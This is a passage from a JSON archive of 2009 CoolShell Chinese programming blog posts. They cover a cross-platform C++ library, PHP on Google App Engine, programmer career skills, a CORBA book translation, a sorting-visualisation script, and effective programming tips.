Tools](http://www.microsoft.com/downloads/details.aspx?FamilyID=96a35011-fd83-419d-939b-9a772ea2df90&displaylang=en) – Windows 2003 管理工具集\n\n\n[WinDirStat](http://windirstat.info/) – 磁盘使用统计和清楚工具。\n\n\n[WinSSHD](http://www.bitvise.com/winsshd) – SSH 服务程序。\n\n\n[WireShark](http://www.wireshark.org/) – 强大的网络协义抓包分析器。\n\n\n[zFTPServer Suite](http://www.zftpserver.com/) – FTP 服务程序，以及强大的SSL 加密安全认证。\n\n\n（如有不足，请补充）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\nThe post [Windows下和程序员相关小工具](https://coolshell.cn/articles/506.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-14 NUI一个跨平台的C++库.md",
    "content": "---\nlayout: post\ntitle: NUI一个跨平台的C++库\ndate: 2009/4/14/ 14:35:55\nupdated: 2009/4/14/ 14:35:55\nstatus: publish\npublished: true\ntype: post\n---\n\n这个免费的GPL许可证的C++库据说可以跨Linux, MacOS, Windows和iPhone，太过份，居然还连iPhone也跨了。\n\n\n大家可以到下面这个网址上下载下来试试看，我还没有来得及试。\n\n\n<http://www.libnui.net/>\n\n\n[![home](../wp-content/uploads/2009/04/home-300x168.jpg \"home\")](https://coolshell.cn/wp-content/uploads/2009/04/home.jpg)\n\n\n \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [NUI一个跨平台的C++库](https://coolshell.cn/articles/528.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-14 如何在Google App Engine上运行PHP.md",
    "content": "---\nlayout: post\ntitle: 如何在Google App Engine上运行PHP\ndate: 2009/4/14/ 15:0:30\nupdated: 2009/4/14/ 15:0:30\nstatus: publish\npublished: true\ntype: post\n---\n\nGoogle 在一年前发布了[Google App Engine](http://code.google.com/appengine/) (GAE) 。这是一个免费的 App Engine 主机，可以让你的每个Application（免费的最多有10个）有1GB的磁盘空间和43.6个CPU小时与10GB的上传和10GB的下载带宽，以及2000个电子邮件。如果你需要地更多，那就是付钱了。\n\n\nGAE 最近发布了正式[支持Java](http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html)的通知。于是，互联网上开始有了各种各样的BLOG评论文章，还有一些人居然在Google App Engine 中运行PHP程序，这个太不可思议了。因为GAE目前并不支持PHP。\n\n\n其实，他们使用了一个叫做 [Quercus](http://www.caucho.com/resin-3.0/quercus/)的东东， Quercus 本质上是一个 100% 的用Java 实现的一个 PHP 引擎 (需要 JDK 1.5)，所以，只要你把Quercus集成到你的GAE中，你自然也可以运行PHP脚本了。\n\n\n\n下面是大体步骤：\n\n\n1) 注删一个 [免费的帐号](http://appengine.google.com/)。  \n\n2) 下载[这个文件](http://www.webdigi.co.uk/fun/php-appengine/phpwithjava.zip) 到你本机。  \n\n3) 在 war\\WEB-INF\\appengine-web.xml 编辑应用的XML tag，把其名字改成你所注册的名字。  \n\n4) 最后，[上传你的应用](http://code.google.com/appengine/docs/java/gettingstarted/uploading.html)。\n\n\n更多细节请参看：\n\n\n* [http://phpwithjava.appspot.com/webdigi.php](http://phpwithjava.appspot.com/webdigi.phphttp://phpwithjava.appspot.com/info.php)\n* <http://phpwithjava.appspot.com/info.php>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\nThe post [如何在Google App Engine上运行PHP](https://coolshell.cn/articles/531.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-14 未来五年程序员需要掌握的10项技能.md",
    "content": "---\nlayout: post\ntitle: 未来五年程序员需要掌握的10项技能\ndate: 2009/4/14/ 9:26:30\nupdated: 2009/4/14/ 9:26:30\nstatus: publish\npublished: true\ntype: post\n---\n\n由于最近经济形势的变化，很多开发人员只关注他们短期的工作前景。与此同时，把时间和精力花在学习最能带来回报的新技术上是件非常重要的事情。这里是我们列举的10种你需要马上开始学习的技术，让你的简历在未来5年不会落伍。这个列表并不完全，有很多业界的领域（比如大型机开发人员）没有涉及。尽管如此，对通常的主流开发来说，学习其中至少7项技能肯定不会错 ——不但要达到能在面试时侃侃而谈的程度，还得能在工作中运用自如。\n\n\n**1) 编程语言三选一 (.NET, Java, PHP)**  \n\n除非开发世界有根本的改变（类似小行星击中雷德蒙），在不远的将来，大部分开发人员将需要了解三大开发平台——.NET (VB.NET或者C#), Java, 或者PHP——中的至少一个。并且只了解核心语言也是不够的。因为项目会包含越来越多不同的功能，你需要对相关框架和库有深入的了解。（本人以为C/C++可能比这三个语言更有竞争力）\n\n\n\n**2) 互联网Rich Application (RIAs)**  \n\n不管爱她还是恨她，最近几年，Flash的用途突然间不仅仅是制作政治人物弱智歌曲演唱动画而已了。Flash也萌生出了以Flex和AIR为形式的附加功能。Flash的竞争对手，比如JavaFx和Silverlight，也在不停的在特性和性能上加筹码。HTML5集成了所有RIA的功能，包括数据库连接，而W3C正式地贴上了AJAX的标签。在不久的将来，RIA专家将会是简历的一个重要筛选条件。\n\n\n**3) Web开发**  \n\nWeb开发在近期内不会消失。很多开发人员满足于忽略Web或者只是使用他们的框架给他们提供的”基本元素”。但是公司需要越来越多的真正知道怎样使用底层技术进行“手工编码”的人。所以要获得成功请在未来5年里努力钻研JavaScript，CSS和HTML。\n\n\n**4) Web服务**  \n\nREST或者SOAP？JSON或者XML？ 尽管选项和答案取决于项目本身，不使用或者创建Web服务对一个开发人员（甚至是那些不做Web应用程序的）来说越来越困难。那些原来采用ODBC，COM或者RPC domains的领域，现在也在某种程度上过渡到了Web服务。不会用Web服务的开发人员将会发现他们被排挤或者沦为维护人员。\n\n\n**5) 其它软实力**  \n\n有一种已经开始了很久的趋势，IT在企业内部或者外部变得越来越透明。开发人员被卷入越来越多的非开发性会议和过程以给与反馈。举个例子，CFO要改变会计规则不能不依靠IT去更新系统。如果没有IT去升级CRM的工作流，运营经理就不能更改呼叫中心的流程。同样的，客户常常需要和开发小组一起工作来保证他们的需求被满足。每一个开发人员都需要找主持人帮助或者去学习《怎样结交朋友并影响别人》么？不是。但是拥有这种能力的开发人员对他们的雇主来说更有价值——并且更抢手。\n\n\n**6) 掌握一门动态的和/或一门函数编程语言**像Ruby，Python, F#, 和Groovy这样的语言并不很主流——但是他们包含的想法却是。比如说，微软的.NET中的LINO系统是函数编程技术的直接产物。Ruby和Python在某些部门很热门，分别感谢Rails框架和Silverlight。学习其中的一门语言不只会提升你的简历；它能开阔你的视野。我见过的每一个顶级开发人员都推荐学习至少一种动态或者函数编程语言，用来理解新的思考方式，个人经验来讲，我可以告诉你确实有用。\n\n\n**7）敏捷开发方法**  \n\n在敏捷开发方法刚开始进入主流视线的时候，我持怀疑态度，和其他我认识的很多家伙一样。它看起来就像某种对传统的下意识反应，丢掉控制和标准而偏爱混乱。但是随着时间的推移，敏捷开发背后的智慧被更好的定义和表达出来。很多团队不是应用了敏捷开发就是在进行敏捷开发的概念证明实验。尽管敏捷开发不是治愈项目失败的终极灵药，它的确在很多项目上有一席之地。在未来几年里，对有着敏捷开发环境的理解和成功经验的开发人员的需求将会高速增涨。\n\n\n**8) 相关领域知识**  \n\n和敏捷开发密切关联，开发小组在项目定义中被越来越多的看做是同伴。这意味着了解问题领域的开发人员能够用更可见的，高价值的方式给项目作出贡献。敏捷开发中，一个能够说，“从这里，我们也可以很简单的添加这项功能，而且这能给我们带来很多回报，” 或者 “噢，这个要求和我们的日志中显示的使用模式并不相符” 的人将是优胜者。正如许多开发人员有抵制了解问题领域的想法，不可否认的是越来越多的组织希望（如果不是要求）开发人员至少能理解基本的内容。\n\n\n**9) 开发修养**  \n\n几年之前，很多（如果不是大部分）团队都没有使用bug跟踪系统，版本控制，和其他类似工具；只有开发人员和他们选择的IDE。但是，感谢新的整合套件的开发，比如Microsoft Visual Studio Team System以及高质量开源环境的爆炸性发展，没用到这些工具的组织变得更不常见。开发人员必须比知道怎么在代码控制中提交和获得代码或者怎样用VM系统配置测试环境了解更多的东西。他们需要在适当的地方养成严格的卫生习惯以保证他们和其他的小组恰当的合作。“代码牛仔”，把所有的东西存放在私人USB盘上，不把对任务对象的相应改变记录成文档，等等的人，在传统的团队里不受欢迎，在需要团队成员之间紧密合作的敏捷开发环境中更是如此。\n\n\n**10) 移动无线开发**  \n\n上世纪90年末代web开发被主流接受开始在很多领域将传统的桌面程序边缘化，在2008年，移动无线开发开始兴起，在未来5年里，它将会变得越来越重要。当然，移动开发有很多不同的方法：针对移动设备的web应用程序开发，针对市场的RIAs，和直接在设备上运行的应用程序。不管你选择了哪个方向，把移动开发加入你的技能集会保证你满足未来的需求。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [未来五年程序员需要掌握的10项技能](https://coolshell.cn/articles/511.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-14 深入浅出CORBA.md",
    "content": "---\nlayout: post\ntitle: 深入浅出CORBA\ndate: 2009/4/14/ 12:7:58\nupdated: 2009/4/14/ 12:7:58\nstatus: publish\npublished: true\ntype: post\n---\n\n这个是一本关于CORBA技术的中文文档，原文是[Ciaran McHale](http://www.ciaranmchale.com/)《CORBA Explained Simply》，我将其翻译成中文形式，并首发在[酷壳](https://coolshell.cn)之上，现在先提供一个PDF的文件形式下载，关于html形式的下载或在线阅读形式以后再慢慢整理。CORBA有可能是一门将要过时的技术，但是它的思想却仍然被当今一些流行的分布式架构所借鉴。所以通过学习CORBA，也许我们可以更好的去理解EJB，去理解Web Service，或者SOA……\n\n\n\n\n> \n> **译序**\n> \n> \n>  从wiki上找到此书的链接，初读之下，感觉此文讲解的非常清楚，大量丰富的图例说明，于是就有了将此书翻译成中文的冲动。至于书名本应该是《简单地解释CORBA概念》，但是最后还是起了一个比较容易吸引人眼球的标题。\n> \n> \n>  本书原文行文非常流畅，用词也相当通俗易懂，建议有英文基础的同行直接阅读原文。\n> \n> \n>  本书第二十三章的内容，涉及到安全的一些概念和术语，翻译也相对比较困难，我虽然给它翻完，但是最后还是不敢发布出来，因为此章需要对安全相关知识要有全面的理解，最后我将此章翻译的内容省略。\n> \n> \n>  在翻译过程，有一些特殊的名词采用意译的方式，比如IDL的seqence类型，被翻译为可变数组，Servent被翻译服务提供者，而在IOR中的Contact Detail我统一翻译为联系细节等等，请读者在阅读时特别注意。\n> \n> \n>  由于译者的水平有限，书中难免有翻译错误的地方，译者并不会对因为这错误造成的损失负责。\n> \n> \n>  本书原版的版权归[Ciaran McHale](http://www.ciaranmchale.com/)所有，此版中文版版权归译者和[酷壳](https://coolshell.cn/)网所有，任何公司或个人可以任意自由转载，发布，部分发布，出版，部分出版本书，但必须保留如下的版权信息\n> \n> \n> Copyright © 2009 赵锟\n> \n> \n> Copyright © 2009 [酷壳](https://coolshell.cn/)\n> \n> \n>  感谢我的夫人在翻译过程中给我支持，没有她的鼓励，我无法完成此项工作。同时感谢我9个月大的小孩，你那可爱和天真无邪的微笑是我工作的动力。\n> \n> \n>  感谢[酷壳网](https://coolshell.cn/)的耗子在翻译过程中对我的指导。非常感谢你的帮助。\n> \n> \n>  在阅读过程中，你什么意见和建议欢迎发邮件至zhaokun.km(a)gmail.com (请将(a)替换成@)和我进行讨论。\n> \n> \n> \n\n\nPDF文件下载：请点击[这里](https://coolshell.cn/wp-content/uploads/2009/04/e6b7b1e585a5e6b585e587bacorba.zip)进行下载\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/656.html)[Linux 的僵尸(zombie)进程](https://coolshell.cn/articles/656.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2406.html)[写HTML和CSS的新方法](https://coolshell.cn/articles/2406.html)\n* [![UI的恶梦](../wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg)](https://coolshell.cn/articles/1907.html)[UI的恶梦](https://coolshell.cn/articles/1907.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/5132.html)[疯狂的 Web 应用开源项目](https://coolshell.cn/articles/5132.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/3498.html)[信XML，得自信](https://coolshell.cn/articles/3498.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\nThe post [深入浅出CORBA](https://coolshell.cn/articles/514.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-15 一个显示排序过程的Python脚本.md",
    "content": "---\nlayout: post\ntitle: 一个显示排序过程的Python脚本\ndate: 2009/4/15/ 6:1:45\nupdated: 2009/4/15/ 6:1:45\nstatus: publish\npublished: true\ntype: post\n---\n\n之前向大家介绍过《[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)》，那个网站用动画演示了各种排序算法，并分析了各种排序算法。这里，要向大家推荐一个Python脚本，其可以把排序的过程给显示出来。\n\n\n下图是“**冒泡排序**”的一个示例，其中：\n\n\n1. 折线表示了各个元素的位置变化。\n2. 折线的深浅表示了元素的大小。越深则越大。\n\n\n[![bubble](../wp-content/uploads/2009/04/bubble.png \"bubble\")](https://coolshell.cn/wp-content/uploads/2009/04/bubble.png)\n\n\n\n同样，还有其它一些排序算法的图片：\n\n\n**堆排序（Heap Sort）**\n\n\n[![heap](../wp-content/uploads/2009/04/heap.png \"heap\")](https://coolshell.cn/wp-content/uploads/2009/04/heap.png)\n\n\n**选择排序（Selection）**\n\n\n[![selection](../wp-content/uploads/2009/04/selection.png \"selection\")](https://coolshell.cn/wp-content/uploads/2009/04/selection.png)\n\n\n**快速排序（Quick）**\n\n\n[![quick](../wp-content/uploads/2009/04/quick.png \"quick\")](https://coolshell.cn/wp-content/uploads/2009/04/quick.png)\n\n\n**Shell排序**\n\n\n[![shell](../wp-content/uploads/2009/04/shell.png \"shell\")](https://coolshell.cn/wp-content/uploads/2009/04/shell.png)\n\n\n**插入排序（Insertion）**\n\n\n[![listinsertion](../wp-content/uploads/2009/04/listinsertion.png \"listinsertion\")](https://coolshell.cn/wp-content/uploads/2009/04/listinsertion.png)\n\n\n你可以使用如下的Python代码来制作这些图片：（需要 [Cairo](http://cairographics.org/)图片库支持）\n\n\n[**Python排序脚本**](https://coolshell.cn/wp-content/uploads/2009/04/visualise.py)\n\n\n这个脚本`参数如下：`\n\n\n* `-a 表示使用什么样的算法，取值为\"quick\", \"heap\", \"selection\", \"insertion\", \"bubble\", \"shell\"。`\n* `-n 表示要排序的数据个数。`\n* `-f 表示输入文件。`\n* `-p 表示文件前缀。`\n* `-d 表示输出顺序。`\n* `-x 图片宽度。`\n* `-y 图片高度。`\n* `-l 所有线的宽度。`\n* `-b 边界宽度。`\n\n\n`使用示例如下：`\n\n\n\n`./visualise.py -l 6 -x 700 -y 300 -n 15` \n\n\n\n文章：[来源](http://www.hatfulofhollow.com/posts/code/visualisingsorting/index.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2583.html)[一些重要的算法](https://coolshell.cn/articles/2583.html)\n* [![一个排序算法比较的网站](../wp-content/uploads/2009/04/sort-150x150.jpg)](https://coolshell.cn/articles/399.html)[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\nThe post [一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-15 有效编程的14件事.md",
    "content": "---\nlayout: post\ntitle: 有效编程的14件事\ndate: 2009/4/15/ 15:12:12\nupdated: 2009/4/15/ 15:12:12\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是14件如何有效编程的方法：\n\n\n1. #### 计划(Plan)\n\n\n所谓Plan，其实就是对应于编程中的“设计”阶段，当然，这里的Plan并不像设计那样重量级。它要求我们程序员在正式编程前至少要考虑一下下面的问题：\n\n\n\t* 你这个程序，工具或是项目的目的，究竟是用来干什么的。你只有知道做什么，要达到什么样的目的，你才能做得对，做得好。\n\t* 需要有什么样的功能。需要你给出来个功能列表。这样可以保证我们不会遗露了什么。\n\t* 准备好一些技术难题的前期调查和解决方案。不要等到开始编程的时候才去想。下面这你因为有“Plan”而得到的好处：\n\n\n\t* 你能够清楚地明白你要做的东西长什么样？\n\t* 你能清楚知道你要开发的东西要干些什么事？\n\t* 你能够在开发过程中解决你所有可能发生的难题。\n3. #### 使用伪代码\n\n\n伪代码是一个非常不错的方式，让你可以看到你要写的程序长什么样？根据 [维基百科(Wikipedia)](http://en.wikipedia.org/wiki/Pseudocode)，伪代码被写定义成这样：\n\n\n\n> 伪代码是一个紧凑和非正式的从高层描述一个计算机编程算法的结构约定。其主要是为了让人阅读而不是让计算机执行。典型的伪代码一般会忽略那些算法中不需要人去关心的细节。比如：变量声明，系统调用，或是子程序。在伪代码中，编程语言被自然的人类语言所增强而放大，从而，更方便，更紧凑。\n> \n> \n\n\n一些人并不喜欢伪代码，因为他们并不相把同样的代码写两遍，一遍是伪代码，一遍是真代码。其实，这是可以理解的，因为两个copy的东西是比较不好维护的。但是我想，这是可以权衡的，如果的算法很简单，那么就不需要伪代码了，如果你的算法比较复杂，比较绕，那么，有一个伪代码提纲挈领将会是一件非常不错的事情，因为他有利于让别人从一个简单的文档来了解一个复杂的算法或系统。这就好像一个电线的布线图一样，你可以很容易地通过一个简单的文档从复杂的实现中找到头绪。\n4. #### 书写清楚的注释\n\n\n请在你的代码中书写清楚的程序注释。当然，注释不是越多越好，注释应该是简明扼要的，如果你的程序足够地清楚简单，那么注释就会显的多余。另外，注释应该是注释“原因，理由，目的”，而不是注释“是什么”，在“[酷壳](https://coolshell.cn)”的另一篇文章《[惹恼程序员的十件事](https://coolshell.cn/articles/340.html)》中，有一条就是关于坏的注释是多么的另个讨厌。\n5. #### 使用自动的编辑工具\n\n\n自动的编辑工具有很多，比如 [Typinator](http://www.macility.com/products/typinator/)，这是一个可以通过设定一些替代的简单代码来实现重复语句的快捷插入，比如你自己的签名、常用的语句等等，通过它可以设定替代的简短代码。还有其它一些代码自动完成的工具，比如一些VC的插件，还有像Source Insight这样的东西。别小看这一点点时间，如果你每天都在写代码的话，今天一点点，明天一点点，将会为你省出很多的时间。\n6. #### 减少代码\n\n\n减少代码的数量，坚持DRY（Don’t Repeat Yourself） 和KISS（Keep It Simple & Stupid） 原则。这样可以有交物减少代码的复杂度，提高程序的易读性和可维护性，同时也能增加代码的质量。\n7. #### 代码重用\n\n\nDRY (don’t repeat yourself) 原则就是告诉我们需要重用现有的代码。这样，你才能够站在巨人的肩膀之上，从而可以更多的关注和自己所要处理业务的逻辑。编程的最高境界就是写出来的代码是可能被重用的，重用和泛型这是编程里始终在追求的目标。\n8. #### 代码重构\n\n\n一些老的代码可能已经不合时宜了，比较以前老的C++的STL库在多线程下可能会出现很多问题。所以，我们自己的代码也是一样的，每过一段时间，我们需要把这些代码回收再利用，这就是软件的重构。重构代码所追求的并不是要提供更多的功能，而是让老的代码更有生命力，让老的代码跟上时代，更具扩展性，灵活性。\n9. #### 使用设计模式\n\n\n设计模式是一种从代码级解决某一些问题的方法论。这个世界上有很多很多的设计模式，比如MVC，单实例，工厂，观察者等等，等等。使用好的设计模式可以让你的代码更具重用和扩展性。关于设计模式，请参看本站的另一篇文章《[101个设计模式](https://coolshell.cn/articles/21.html)》\n10. #### 使用程序框架Framework\n\n\nFrameworks 是一份给程序员的礼物，他们帮助你完成了很多很细节的事情，他们有可能是一个lib库，你需要进行简单的拼装，一个几乎完成了的软件框架就已形成。这是一个能够给开发工作提速的东西。只要上网随便搜一搜，你可以看到太多太多的框架了。形形色色，几乎都是开源社区贡献的。\n11. #### 泛型编程\n\n\n如果抽像出一些程序中相似的东西，然后把这些相似的东西用一个标准的东西实现，这也是编程所追求的最高境界之一，像诸如C++中的STL之类的东西就是此类东西的最佳体现。灵活之及，几乎都快放之四海皆准了。\n12. #### 使用开源的代码\n\n\n这个世界上有太多太多开源的代码了。学会利用他们可以让你更节省时间和精力，因为我们完全没有必要把相当的东西实现若干次，学会使用开源的代码不但是一个学习的过程，同样也是一个增加编程效率的事情。\n13. #### 完善开发环境\n\n\n开发环境非常重要，因为好的开发环境可以让你事倍功半。他们可以让你不需要关注别的东西，比如，我曾看过某程序员在调整编辑器的字体和高亮上花费了不少工夫。是的，这是值得肯定了，只有把开发环境变得舒服，才能让自己更好的编程。\n14. #### 使用调试器\n\n\n学会使用调试器来调试代码，单步跟踪，变量值跟踪，内存，堆栈等等。熟练地使用调试器可以让你更好的查找程序的问题，以得到最优的代码。\n15. #### 使用版本管理工具\n\n\n版本管理工具应该是任何程序员都应该要去学会使用的东西，特别在一个团队中，如何管理程序的不同版本，如何维护，存放代码，版本管理工具绝对是开发过程中不可少的东西。其意义绝对不只代码备份和共享那么简单。下面是一些开源的管理管理工具：[Git](http://git-scm.com/)，[SVN](http://subversion.tigris.org/)，[CVS](http://www.nongnu.org/cvs/)和[Bazaar](http://bazaar-vcs.org/)。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [有效编程的14件事](https://coolshell.cn/articles/546.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-17 30种时尚的CSS网站导航条.md",
